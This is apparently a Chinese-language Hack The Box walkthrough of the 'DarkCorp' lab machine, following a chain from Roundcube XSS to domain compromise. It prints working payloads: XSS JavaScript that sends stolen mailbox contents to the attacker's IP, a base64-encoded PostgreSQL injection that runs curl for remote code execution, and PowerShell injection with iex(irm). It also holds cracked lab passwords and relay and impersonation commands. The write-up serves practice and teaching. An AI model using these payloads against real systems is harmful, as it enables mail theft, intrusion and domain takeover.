MANESEC on 2025-02-15
Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
https://www.hackthebox.com/achievement/machine/463126/647
首先nmap掃一下:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
| 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM
80/tcp open http syn-ack ttl 127 nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel看到是個linux機器,但是 htb 上面的logo 是windows的,説明linux還是前道菜。
使用瀏覽器打開該 IP 后會自動跳轉到 http://drip.htb/:
在網站的最下面有一個 Contact US,還有一個郵件訂閲:
隨便輸入點東西,點擊發送後會出現:
看起來這裏是可以被利用的,但是目前還沒有可以利用的東西,在網頁上看到有一個注冊的按鈕:
隨便注冊一個賬號后并且登錄,會來到郵件的頁面:
裏面除了系統的第一封默認郵件之外,什麽也沒有。
可以從點擊 About 看到版本號:
這個版本是 Roundcube Webmail 1.6.7,嘗試搜索一下相關的 poc:
看到這篇文章:
大概的意思是正則表達式的 bgcolor 屬性有漏洞,它不会检查匹配某個值,在 bgcolor=something 中,這個 something 如果控制不好就會變成另一个属性,從而造成 XSS。另外该正則表達式也不会检查開頭和結尾的引號,甚至不檢查。这种不正确的解析一旦被滥用,就會破坏掉原本安全的 HTML,当引号数量不均衡时,就会造成破坏。 然後属性值可以逃逸,成为新的属性。
由於 html4inline() 是在清理之後使用的,因此通過這種方式引入的惡意屬性不會被刪除。只需將前綴 <body 替換為 <div>,即可將 <body> 轉換為 <div>。攻擊者需要調整其 XSS的 payload 與 <div> 配合使用,因此 onload 不起作用。不過可以利用onanimationstart 與 Roundcube 加載的 Bootstrap CSS 框架進行聯動。Payload 如下:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
Foo
</body>但是這裏也有一個條件,一定是 html 的 email:
爲了測試,可以自己給自己發送一封郵件。新建一個郵件,嘗試插入 html 在郵件裏,并且複製POC 上面的 payload:
結果失敗了,可以看到核心的 html 被注解了。也就是在網頁上發送 html 的方法行不通:
回到一開始的主頁,看到有個地方可以發送郵件,思考能不能發送郵件給自己,看看能不能嵌入 HTML 代碼:
但是發送的功能確實是正常工作的,但是等了幾分鐘,一個郵件也沒有郵件收到。於是使用burp截取一下看看有什麽:
看到發送郵件好像發送給另一個 support@drip.htb 的用戶,所以嘗試改成自己的郵件看看:
發送後結果還真的收到了:
也就是主頁的發送功能是工作的。
由於POC上面需要以 HTML 的形式發送,所以嘗試改成 html 看看郵件能不能成功的識別到:
很明顯多了一個 Plain text 的按鈕:
也就是說這封郵件成功的識別成了 html。
另外郵件還會附帶一些信息:
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited. If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
保密通知: 本電子通訊可能包含機密或保密資訊。嚴禁任何未經授權的檢閱、使用、揭露、複製、散佈或取用本電子郵件的任何部分。如果您懷疑收到「釣魚」電子郵件,請將整封電子郵件轉寄給我們的安全工程師,電子郵件地址為 bcase@drip.htb很明顯提示是要發送惡意的email給 bcase@drip.htb。
既然成功的發送了html 的格式,那就可以嘗試發送上面的poc,看看能不能工作:
url 編碼完成后,發送給自己:
點擊後出現:
可以看到 POC 是工作的:
既然POC工作了,就可以開始釣魚了。問題來了,如何讓他返回一點東西呢? 由於 alert(origin) 換成特殊符號就會壞掉,所以嘗試換成 eval(atob(<base64>)) 的形式來避免特殊符號被系統過濾掉。
第一個測試的payload如下,用來看一下base64能不能工作:
fetch("http://10.10.16.31/manexss")然後把上面的内容通過 base64 編碼后得到,放入poc中:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('ZmV0Y2goImh0dHA6Ly8xMC4xMC4xNi4zMS9tYW5leHNzIik=')) foo=bar">
Foo
</body>之後把這堆東西進行 URL編碼,并且用burp修改後,發送給自己:
這樣得到一封新的郵件,看起來成功的加載了XSS,既然成功了,那就嘗試發送郵件給bcase@drip.htb,看看有沒有機器人會定時查看郵件。
等到了一段時間後,結果機器人訪問了:
也就是可以利用XSS來偷郵件,既然要偷郵件,那就需要知道有什麽郵件。
在點擊 inbox這個按鈕的時會提交一個請求:
這個請求的 URL 如下:
http://mail.drip.htb/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1739456919335&_=1739456917246
如果直接打開會出現一堆 json:
其中裏面有每一封郵件的標題之類的,經過測試,可以直接訪問 /?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1,不需要額外的 _unlock。
這樣就可以寫一個惡意js,獲取上面的内容并且返回到本機,payload 如下:
fetch("/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1", {method:'GET',mode:'no-cors',credentials:'same-origin'}).then(response => response.text()).then(text => { fetch('http://10.10.16.31/?=' + btoa(encodeURIComponent(text)), {mode:'no-cors'}); });如果直接base64編碼后,觸發正則表達式是 /\s?bgcolor=["\']*[a-z0-9#]+["\']*/i,因此特殊符號很容易出現問題:
爲了解決這些特殊符號,可以讓payload變成:只允許有英文字母+數字。
只需要在上面的payload 中加一些空格,比如上面的 fetch(" 就變成 fetch( ":
結尾的 = 也會出現問題,也要加空格去掉,這樣就會變成如下:
這樣的base64編碼就沒有特殊符號只有英文+數字,然後把這堆東西打包後,再次發送郵件給bcase@drip.htb,等了一段時間:
成功的放回了郵件的列表,base64 解碼一下:
看到郵件裏面只有三封。
那麽如何讀取裏面的郵件呢?
由於每次發送就會返回一些無意義的 html代碼,好在看到了可以把郵件導出文本:
點擊後會跳轉到下列的 URL:
http://mail.drip.htb/?_task=mail&_uid=5&_mbox=INBOX&_action=viewsource&_extwin=1
如下圖,
并且發現修改 _uid就可以任意跳轉郵件,這裏的 5 指的是第五封郵件,這就可以寫一個 for 來從1到20來一次性獲取,并且返回裏面的内容:
for (var m=1; m<=10; m++){
fetch("/?_task=mail&_uid="+m.toString()+"&_mbox=INBOX&_action=viewsource&_extwin=1", {method:'GET',mode:'no-cors',credentials:'same-origin' }).then(response => response.text()).then(text => { fetch('http://10.10.16.31/?=' + btoa(encodeURIComponent(text)), {mode:'no-cors'}); });
}編碼后再次發送,效果圖下圖:
然後就可以一封一封的解密裏面的内容,其中有一封郵件出現了另一個域名:
Return-Path: <ebelford@drip.htb>
Delivered-To: bcase@drip.htb
Received: from drip.htb
by drip with LMTP
id FvvNKLMba2eECAAAEnDqAQ
(envelope-from <ebelford@drip.htb>)
for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700
Received: from drip (localhost [127.0.0.1])
by drip.htb (Postfix) with ESMTP id 9701FC3199
for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700 (MST)
Received: from mail.drip.htb ([127.0.0.1])
by drip with ESMTPA
id unSjI7Mba2d9CAAAEnDqAQ
(envelope-from <ebelford@drip.htb>)
for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700
MIME-Version: 1.0
Date: Tue, 24 Dec 2024 13:38:11 -0700
From: ebelford <ebelford@drip.htb>
To: bcase@drip.htb
Subject: Analytics Dashboard
Message-ID: <dcef4e6be5d93220499ad6dabecfb0ed@drip.htb>
X-Sender: ebelford@drip.htb
Content-Type: text/plain; charset=US-ASCII;
format=flowed
Content-Transfer-Encoding: 7bit
Hey Bryce,
The Analytics dashboard is now live. While it's still in development and
limited in functionality, it should provide a good starting point for
gathering metadata on the users currently using our service.
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that
you'll need to reset your password before logging in.
If you encounter any issues or have feedback, let me know so I can
address them promptly.
Thanks從郵件的内容得知,需要點擊忘記密碼來登錄,訪問這個域名看看:
點擊忘記密碼,填寫 bcase@drip.htb 的郵件:
試了一下,好像只有這個用戶才會出現成功:
所以再次發送發送一次 payload 來獲取所有的郵件,就看到了重設的密碼鏈接:
Return-Path: <no-reply@drip.htb>
Delivered-To: bcase@drip.htb
Received: from drip.htb
by drip.darkcorp.htb with LMTP
id 6LTlCSgHrmeyLwAA8Y1rLw
(envelope-from <no-reply@drip.htb>)
for <bcase@drip.htb>; Thu, 13 Feb 2025 07:52:24 -0700
Received: from drip.darkcorp.htb (localhost [127.0.0.1])
by drip.htb (Postfix) with ESMTP id 2701888E
for <bcase@drip.htb>; Thu, 13 Feb 2025 07:52:24 -0700 (MST)
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: Reset token
From: no-reply@drip.htb
To: bcase@drip.htb
Date: Thu, 13 Feb 2025 07:52:24 -0700
Message-ID: <173945834415.726.10596582310600970318@drip.darkcorp.htb>
Reply-To: support@drip.htb
Your reset token has generated. Please reset your password within the next 5 minutes.
You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z64HKA.CF0nXlcbOiaBNTYF39ASnK61CmM4Ïÿ]vÓ打開後會出現重設密碼的界面:
重設成功之後會提示:
嘗試登錄后就來到了這個頁面:
search 功能看起來是假的,不過點擊 Analytics 會來到如下頁面:
上面有個搜索框,隨便填一些東西按下回車之後:
一眼就看出來有sql injection,從錯誤的信息猜測是 PostgreSQL,所以查一下關於sql注入的相關資料,看到這篇文章。
其中PostgreSQL可以不需要安裝插件來運行任意命令,所以嘗試複製上面的payload:
'' ; CREATE TABLE shell(output text); COPY shell FROM PROGRAM 'curl 10.10.16.31/test'; 結果出現:
SELECT * FROM "Users" WHERE "Users".username = '' ; TABLE shell(output text); shell FROM PROGRAM 'curl 10.10.16.31/test'; 從上面的結果中可以看到 CREATE 和 COPY 被吃掉了,也就是有過濾器,那就只能辦法編碼一下,這裏拷打一下 ChatGPT:
ChatGPT給了一個想法,是使用 convert_from 函數來轉換 base64:
EXECUTE convert_from(decode('U0VUU1RFRVQgRk9SIE1ZIFRBUkFHRQ==', 'base64'), 'UTF8');
# 把 SELECT version() 換成base64后會得到:U0VMRUNUIHZlcnNpb24oKQ==
''; EXECUTE convert_from(decode('U0VMRUNUIHZlcnNpb24oKQ==', 'base64'), 'UTF8');然後貼上去看一下,結果出現了:
看起來少了點東西,繼續拷打一下ChatGPT:
得到:
DO $$ BEGIN EXECUTE convert_from(decode('U0VUU1RFRVQgRk9SIE1ZIFRBUkFHRQ==', 'base64'), 'UTF8'); END $$;
# 換成 SELECT version() --> U0VMRUNUIHZlcnNpb24oKQ==
DO $$ BEGIN EXECUTE convert_from(decode('U0VMRUNUIHZlcnNpb24oKQ==', 'base64'), 'UTF8'); END $$;結果出現了:
沒有出現語法錯誤,也就是成功的執行了 base64的内容,所以只需要把 base64 的内容換成 rce 就好了,如下:
# base64 下面這個語句
CREATE TABLE shell(output text); COPY shell FROM PROGRAM 'curl 10.10.16.31/manerce';
'';DO $$ BEGIN EXECUTE convert_from(decode('Q1JFQVRFIFRBQkxFIHNoZWxsKG91dHB1dCB0ZXh0KTsgQ09QWSBzaGVsbCBGUk9NIFBST0dSQU0gJ2N1cmwgMTAuMTAuMTYuMzEvbWFuZXJjZSc7', 'base64'), 'UTF8'); END $$;這樣子就得到了 RCE:
然後就可以在這裏得到一個shell。
拿到了shell 之後,看一下是 postgres 的用戶,不過沒有什麽特權:
跑一下Linpeas,看到一些文件的環境變量有數據庫的賬號密碼:
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432而且 Linpeas 也發現了 PGP 裏面有東西:
可能有東西被gpg加密了。既然有數據庫,那就弄個 ligolo-ng,看一下本地的ip,居然是一小的内網:
postgres@drip:/tmp$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:84:03:02 brd ff:ff:ff:ff:ff:ff
inet 172.16.20.3/24 brd 172.16.20.255 scope global eth0
valid_lft forever preferred_lft forever
postgres@drip:/tmp$ 使用 ligolo 轉發后,在連接對面的數據庫,發現數據庫裏面有賬號密碼:
support d9b9ecbf29db8054b21f303072b37c4e support@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10 bcase 1eace53df87b9a15a37fdc11da2d298d bcase@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10 ebelford 0cebd84e066fd988e89083879e88c5f9 ebelford@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
然後嘗試破解一下密碼:
很可惜,啥也沒有。
看一下本機有什麽用戶:
$ cat /etc/passwd | grep sh bcase 和 ebelford這兩個用戶在本機内,所以嘗試搜索一下相關的日志:
$ grep -E "(bcase|ebelford)" /var -ri 2> /dev/null發現日志裏面有一個密碼:
/var/log/postgresql/postgresql-15-main.log.1:2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT: UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;
嘗試使用 hashcat 破解:
8bbd7f88841b4223ae63c8848969be86:ThePlague61780
結果成功了,從日志中看到是 ebelford 的密碼,所以嘗試切換用戶:
su ebelford : ThePlague61780
結果成功了,同樣的,裏面什麽也沒有。
由於 Linpeas 發現了 PGP 有東西:
被PGP加密后的文件後綴名通常是 *.gpg,從 Linpeas 也可以看到路徑:
這個文件名字一看就不對勁,所以參考這篇文章嘗試解密,看看能不能成功。
$ gpg --decrypt --output dev-dripmail.old.sql dev-dripmail.old.sql.gpg
奇怪,居然提示窗口太小了,應該是gpg需要和 tty 進行交互問題。
所以看一下當前窗口的 tty 大小:
$ stty -a看起來是 rows 49; columns 192,所以在對面的機器設置回去:
$ stty columns 192 rows 49
$ export TERM=screen之後再次運行就得到了:
由於不知道密碼是什麽,就嘗試使用數據庫密碼:
2Qa2SsBkQvsc
結果還真的解密成功了:
解密的 dev-dripmail.old.sql 文件裏面有一些 hash:
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
\.
COPY public."Users" (id, username, password, email, host_header, ip_address) FROM stdin;
5001 support d9b9ecbf29db8054b21f303072b37c4e support@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5002 bcase 1eace53df87b9a15a37fdc11da2d298d bcase@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5003 ebelford 0cebd84e066fd988e89083879e88c5f9 ebelford@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
\.嘗試使用 hashcat 破解這6個hash:
cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
得到了 victor.r的密碼:victor1gustavo@#。
由於victor.r這個賬號不是本地linux賬號,所以目前沒啥用。
在上面可以看到 linux 這臺機器處於小型内網,所以嘗試掃描一下内網的主機:
$ netexec smb 172.16.20.0/24
居然有兩個機器,然後使用 rustscan 掃描一下端口:
postgres@drip:/tmp$ ./rustscan -a 172.16.20.1,172.16.20.2
最後使用nmap掃一下,下面是 DC-01 的主機:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-09 07:07 CST
Nmap scan report for 172.16.20.1
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|_ 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-08 23:07:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DARKCORP-DC-01-CA
| Not valid before: 2024-12-29T23:24:10
|_Not valid after: 2034-12-29T23:34:10
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
53766/tcp open msrpc Microsoft Windows RPC
59733/tcp open msrpc Microsoft Windows RPC
59741/tcp open msrpc Microsoft Windows RPC
59812/tcp open msrpc Microsoft Windows RPC
59817/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC-01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-02-08T23:08:38
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.44 seconds下面是 WEB-01 的主機:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-09 07:05 CST
Nmap scan report for 172.16.20.2
Host is up (0.84s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5000/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
| http-ntlm-info:
| Target_Name: darkcorp
| NetBIOS_Domain_Name: darkcorp
| NetBIOS_Computer_Name: WEB-01
| DNS_Domain_Name: darkcorp.htb
| DNS_Computer_Name: WEB-01.darkcorp.htb
| DNS_Tree_Name: darkcorp.htb
|_ Product_Version: 10.0.20348
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| Negotiate
|_ NTLM
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-02-08T23:06:52
|_ start_date: N/A
|_nbstat: NetBIOS name: WEB-01, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:84:03:03 (Microsoft)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.20 seconds從上面的結果很容易看出來 5000 很不尋常,而且有 NTLM 認證。
使用瀏覽器打開后提示需要登陸:
那就嘗試一下 victor.r:victor1gustavo@#,結果進去了一個頁面:
在 Check Status 這裏可以主動發出請求:
嘗試使用 burp 抓包,由於是ntlm,burp抓包會不工作,所以額外的設置一下:
設置好了再次抓包就不會出現問題:
然後嘗試輸入本地的 IP 結果出現:
經過摸索了一下,服務器只允許選項裏面的幾個域名,由於 linux 的那臺機器的hostname 是 drip:
就可以讓 host 變成指向 linux 的機器,又發現端口沒有限制是80或者443,也就可以使用 burp 抓包修改成非 80 端口也可以正常工作。
因爲對面的機器是Windows,如果是主動發送請求那就容易釣到ntlmv2,需要本地開一個 responder 看一下是什麽用戶發出的請求。如果是 victor.r 用戶那就沒必要浪費時間在玩 relay。
另外 linux 低權限用戶可以監聽高端口,這樣就可以讓 web-01 主動訪問 linux上的 8888 端口,然後再使用 socat 轉發到本地就好了。
這裏就使用 socat 轉發到本地的responder,并且在 socat 中可以使用 -v來查看數據包的信息:
postgres@drip:/tmp$ ./socat -v TCP-LISTEN:8888,fork TCP:10.10.16.31:80
不過 responder 沒有反應,但是 socat 已經獲取到了數據包。所以嘗試換一個工具 ntlmrelayx.py,然後指向 DC 的 IP,看看會發生什麽?
$ sudo ntlmrelayx.py -t 172.16.20.1 -smb2support 從結果可以看到發出請求的用戶是 SVC_ACC,并且可以成功的relay到DC,這就很有趣了。
由於在網頁中victor.r 可以正常登錄,就猜測該用戶也是域内的用戶:
$ netexec smb 172.16.20.1 -u 'victor.r' -p 'victor1gustavo@#'嘗試跑一下 Bloodhound 來收集一些信息:
$ python3 bloodhound.py -c all -u victor.r -p 'victor1gustavo@#' --zip -d darkcorp.htb -ns 172.16.20.1 不過會發現 Bloodhound 一直卡住直到超時,猜測是dns的問題,所以使用 dig 看一下解析域名看看發生了什麽:
$ dig dc-01.darkcorp.htb @172.16.20.1
解析 dc-01 的IP是 10.129.185.193,這個是機器入口的ip,從一開始的nmap結果來看只有 22 和 80 端口,根本沒有ldap。
所以它就一直卡住,就需要修復解析的問題,讓程序解析 dc-01.darkcorp.htb 時解析到 172.16.20.1 而不是 10.129.185.193,好在 dnschef 可以解決這個問題。
創建虛擬的 DNS 服務器,并且中轉到dc-01的DNS,命令如下:
$ sudo dnschef --fakeip 172.16.20.1 --fakedomains "dc-01.darkcorp.htb" --nameservers 172.16.20.1最後指定 -ns讓 Bloodhound 收集數據的時候經過 dnschef 就行了:
這樣就成功的收集了信息。
從上面的 socat 記錄中可以看到,它是來自 powershell 的請求:
所以猜測是 powershell 在發送命令,但是如果隨便敲一個不存在的端口:
你會發現它是來自 python3 的庫。
其實不難猜到每次請求 python 都會連接一次看看,如果需要驗證再交給 powershell 去驗證,交給powershell的時候更容易出現命令行注入,所以可以嘗試玩一下:
可以看到儅端口是 8888/; <command>;就會出現命令行注入,使用 iex(irm URL) 的組合可以下載并且運行powershell 的脚本:
然後就可以獲得一個shell。這個shell 的用戶是 svc_acc的,有 SeImpersonatePrivilege權限:
但是直接上傳并且運行是失敗的,因爲有 Windows Defender :
所以需要隨便免殺一下,這部分請自己搞定,命令如下:
SigmaPotato.exe "net user manesec P@ssw0rd /add"
SigmaPotato.exe "net localgroup administrators manesec /add"這樣就新建了一個本地的管理員用戶,使用 evil-winrm 就可以獲得shell:
$ evil-winrm -i 172.16.20.2 -u manesec -p P@ssw0rd從這裏可以拿到 WEB-01 的 NT SYSTEM。
從上面的ntlmrelayx.py結果中可以看到,relay 到 ldap 可以攻擊成功,SVC_ACC 這個用戶是 DNSADMINS 這個組的用戶:
也就是可以修改 domain 的DNS,由於 web-01 到 DC-01 沒有强制簽名,所以可以玩最近的 kerberos over smb:
從這篇文章中可以看到需要有權限修改 DNS:
如果申請的DNS是fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA,在驗證的時候客戶端會向 cifs/fileserver 詢問 Kerberos的票據,隨後連接到 fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA
但如果 fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA 指向攻擊者的 IP,而且有ADCS的服務器存在,那麽就可以嘗試 relay 到 ADCS 的 HTTP endpoint并且申請證書。
總結:域名 + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA會讓客戶端詢問 kerberos 的票據。
由於要 relay 到 ADCS 的 HTTP endpoint,就需要看一下 ADCS 是不是真的存在的:
$ netexec ldap 172.16.20.1 -u 'victor.r' -p 'victor1gustavo@#' -M adcs可以看到netexec從 ldap 中發現了 ADCS 的 HTTP endpoint:
既然有ADCS,那就順便使用 certipy 來收集一下信息。
$ certipy find -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc-ip 172.16.20.1 -target-ip 172.16.20.1 由於上面要修改DNS,所以可以使用 powerview 來relay到 dc-01:
$ sudo powerview --relay 172.16.20.1然後就是增加 DNS:
PV> Add-DomainDNSRecord -RecordAddress 10.10.16.31 -RecordName "DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA"增加成功了之後,開啓 krbrelayx 指向 dc-01 的ADCS:
$ sudo krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs --template DomainController -v 'WEB-01$'準備好了之後就可以使用 PetitPotam 强制觸發驗證:
$ PetitPotam.py -u victor.r -p 'victor1gustavo@#' -d darkcorp.htb 'DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 172.16.20.2但是 krbrelayx 提示了注冊失敗:
這是因爲 WEB-01不是DomainController所以沒有權限注冊:
PV > Get-CATemplate -ResolveSIDs -Where 'cn match DomainController' 往下翻了一下,可以注冊 Machine:
所以修改 krbrelayx 來relay 并且注冊 Machine 的證書:
$ sudo krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs --template Machine -v 'WEB-01$' -debug成功了之後使用 certipy 就可以得到 WEB-01 的hash:
$ certipy auth -pfx WEB-01\$.pfx -dc-ip 172.16.20.1有了 hash 之後就可以直接 S4U2self:
$ getST.py -impersonate administrator 'darkcorp.htb/web-01$' -hashes ":8f33c7fc7ff515c1f358e488fbb8b675" -dc-ip 172.16.20.1 -altservice CIFS/WEB-01.DARKCORP.HTB -self然後就得到了 NT system:
